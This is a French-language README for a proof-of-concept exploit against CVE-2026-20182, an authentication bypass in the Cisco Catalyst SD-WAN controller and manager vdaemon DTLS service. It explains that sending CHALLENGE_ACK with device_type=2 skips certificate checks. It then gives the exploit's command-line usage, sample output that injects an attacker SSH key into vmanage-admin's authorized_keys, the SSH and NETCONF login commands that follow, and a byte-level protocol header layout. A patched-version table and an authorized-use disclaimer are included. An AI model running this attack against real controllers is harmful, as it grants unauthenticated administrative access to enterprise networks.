
PoC CVE-2026-20182 - Cisco Catalyst SD-WAN Controller / Manager Contournement d'authentification (CVSS 10.0)
Un exploit proof-of-concept pour CVE-2026-20182, un contournement d'authentification critique (CVSS 10.0) dans le service vdaemon DTLS (UDP/12346) sur le contrôleur Cisco Catalyst SD-WAN (vSmart) et le gestionnaire (vManage).
Divulgué : 14 mai 2026 par Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV : Ajouté le 14 mai 2026 (Directive d'urgence 26-03)
CVSS : 10,0 — CWE-287 : Authentification inappropriée
Le service vdaemon utilise une poignée de main DTLS multiphase pour authentifier les pairs du plan de contrôle. La fonction vbond_proc_challenge_ack() implémente une vérification de certificat spécifique au type d'appareil — mais le type d'appareil 2 (vHub) ne comporte aucun chemin de code de vérification. L'envoi d'un CHALLENGE_ACK avec device_type=2 fait passer la fonction à travers toutes les conditions et définit inconditionnellement peer->authenticated = 1.
Aucun identifiant valide, aucun certificat signé par une AC et aucune connaissance du déploiement SD-WAN ne sont nécessaires.
/home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argument | Description |
|---|---|
-t, --target | Adresse IP ou nom d'hôte cible |
--port | Port UDP vdaemon (par défaut : 12346) |
--key-file | Chemin vers une clé publique SSH existante à injecter (optionnel) |
--netconf | Vérifier l'exploitation en se connectant à NETCONF via SSH |
# Générer une nouvelle paire de clés et exploiter
python3 cve-2026-20182.py -t 192.168.1.100
# Utiliser une clé publique existante
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploiter et vérifier via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Version | Version corrigée |
|---|---|
| < 20.9 | Migrer vers une version prise en charge |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Module auxiliaire dans le framework MetasploitL'en-tête du protocole vdaemon est de 12 octets :
| Décalage | Taille | Champ | Notes |
|---|---|---|---|
| 0 | 1 | msg_type | Nibble bas = type, nibble haut = version |
| 1 | 1 | device_info | Nibble haut = device_type, nibble bas = flags |
| 2 | 1 | flags | Valeur standard 0xA0 |
| 3 | 1 | padding | Toujours 0x00 |
| 4-7 | 4 | domain_id | uint32 big-endian |
| 8-11 | 4 | site_id | uint32 big-endian |
Types d'appareils : 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl (pour le transport DTLS)cryptography (pip install cryptography)Cet exploit est destiné uniquement aux opérations autorisées de red team, aux tests de pénétration et à la recherche en sécurité sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée est illégale.